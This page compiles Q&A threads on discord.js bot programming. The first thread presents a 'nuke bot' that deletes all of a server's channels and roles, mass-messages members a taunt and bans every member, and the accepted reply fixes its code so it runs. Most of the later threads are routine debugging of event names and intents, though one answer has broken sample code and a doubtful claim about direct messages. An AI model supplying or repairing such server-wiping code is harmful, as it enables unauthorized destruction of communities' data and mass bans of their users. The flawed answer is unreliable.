how to delete all channel in discord.js server - javascript

I'm gonna make a nuke bot to nuke a scam server I've tried many things but won't work this is my current code
const Discord = require('discord.js')
const client = new Discord.Client()
client.on('ready', function(){
console.log("nukebot is ready")
})
client.on('message', function(message){
if(message.content === "S#NUKE") {
message.channel.send('#everyone')
message.guild.channels.forEach(channel => channel.delete())
message.guild.roles.forEach(role => role.delete())
message.guild.member.forEach(member => member.send('GET BANNNED AND NUKED BY AMONGUS NUGGET GROUP')).catch(console.error())
message.guild.member.forEach(member => member.ban()).catch(console.error())
}
})
client.login('API_KEY_REDACTED')
This gave me an error: message.guild.channels.forEach is not a function

message.guild.channels.forEach() should be message.guild.channels.cache.forEach().
They added that update in v12.

Related

Discord Bot gets online but doesn't respond to messages [duplicate]

This question already has an answer here:
message.content doesn't have any value in Discord.js
(1 answer)
Closed 3 months ago.
const Discord = require("discord.js")
const client = new Discord.Client({
intents: [
Discord.GatewayIntentBits.Guilds,
Discord.GatewayIntentBits.GuildMessages
]
});
client.on("ready", () => {
console.log(`Logged in as ${client.user.tag}!`)
})
client.on("messageCreator", (msg) => {
if (msg.content === "ping") {
msg.reply("pong");
}
})
client.on("message", Message => {
if (msg.content === "hi") {
msg.reply("hello");
}
})
client.login(process.env.TOKEN)
Hi, im tryng learn how to make a discord bot for my server and i dont know much of js. I've been reading some tutorials but isnt working.
Seems like you're trying to listen to 2 message events, messageCreator and message.
The event messageCreator doesn't exist. You need to replace it with messageCreate.
The event message has been deprecated. (Also, you've named your message instance Message but you're referring to it as msg.)
const Discord = require("discord.js");
const client = new Discord.Client({
intents: [Discord.GatewayIntentBits.Guilds, Discord.GatewayIntentBits.GuildMessages],
});
client.on("ready", () => {
console.log(`Logged in as ${client.user.tag}!`);
});
client.on("messageCreate", (msg) => {
if (msg.content === "ping") {
msg.reply("pong");
}
});
client.login(process.env.TOKEN);

DiscordJS V13 doesnt react to dms

I have this very basic code for a very basic discord bot
since the new discord.js version 13 you need to declare intents.
I tried doing that using the bitmap 32767 (basically declaring all intents), however the bot doesnt trigger the "messageCreate" event when a message is send
in the dms it only works in servers.
All privileged gateway intents on the developer site have been set to true.
What am I missing?
const Discord = require("discord.js");
const allIntents = new Discord.Intents(32767);
const client = new Discord.Client({ intents: allIntents });
require("dotenv").config();
const botName = "Miku";
client.once("ready", () => {
//gets executed once at the start of the bot
console.log(botName + " is online!");
});
client.on("messageCreate", (message) => {
console.log("got a message");
});
(async() => {
//bot connects with Discord api
client.login(process.env.TOKEN);
})();
You cannot listen for events in the Direct Messages unless they are direct responses/replies/reactions to the initial message.
For example, you can send a message to new members and wait for a response:
client.on('guildMemberAdd', member =>{
member.send("Welcome to the server!");
message.awaitReactions(filter, { max: 1, time: 60000, errors: ['time'] })
.then((collected) => {
//Now, write your code here that handles the reactions.
});
but there is no way to listen for events within the Direct Messages. As in, client.on... will never fire because of a DM event.

Discord.js 'presenceUpdate' not being called

I have a "Special User" which is equal to 'Client.users.fetch(Special User's ID)'.
Then the user has two event listeners attached to the it, 'message' and 'presenceUpdate',
The message event listener works perfects, although the presenceUpdate does not work at all,
All help is greatly appreciated!
require("dotenv").config();
const Discord = require(`discord.js`);
const Client = new Discord.Client();
Client.on("ready", () => {
console.log(`\tClient Ready`);
});
var SpecialUser = Client.users
.fetch(process.env.ID)
.then((User) => {
console.log(User.username);
// Working
User.client.addListener("message", (message) => {
console.log("message");
});
// Not Working
User.client.addListener("presenceUpdate", (Old, New) => {
console.log(`Presence Updated`);
});
})
.catch(console.error);
Client.on("message", (message) => {});
Client.login(process.env.TOKEN);
If the presenceUpdate event doesn't trigger, chances are you'll need to add the GUILD_PRESENCES intent either using the client options:
const Discord = require(`discord.js`);
const client = new Discord.Client({
intents: ['GUILDS', 'GUILD_MESSAGES', 'GUILD_PRESENCES'],
});
// rest of your code...
In your Discord dashboard; by choosing your bot then by clicking on the Bot settings:

send message to specific channel upon ready/launch

im trying to find a way to send a message to a channel upon launch of the discord bot. I've tried using
client.on('message', (message) => {
client.on('ready', () => {
channel = client.channels.cache.get('744630121213722696');
channel.send('bot is up and running!');
})});
but no success, I get no error messages just no response from the bot
You can't have 2 handlers in one. Take away the client.on('message', (message) => {}
So new code would be:
client.on('ready', () => {
channel = client.channels.cache.get('744630121213722696');
channel.send('bot is up and running!');
});

Why doesn't my message.reply command not work?

My bot has connected to the server, it becomes online when I start the code, but i can't seem to figure out why the message.reply command doesnt work
Code:
const Discord = require('discord.js');
const bot = new Discord.Client();
bot.on('Message', (message) => {
if(message.content == 'ping') {
message.reply('pong');
}
});
Am i missing something? i'm coding using visual studio code
Client's events are case-sensitive, therefore, "Message" and "message" are completely two different things.
Replace "Message" with "message" on line 5 to fix your code.
const Discord = require('discord.js');
const bot = new Discord.Client();
bot.on('message', (message) => {
if (message.content == 'ping') {
message.reply('pong');
}
});

Categories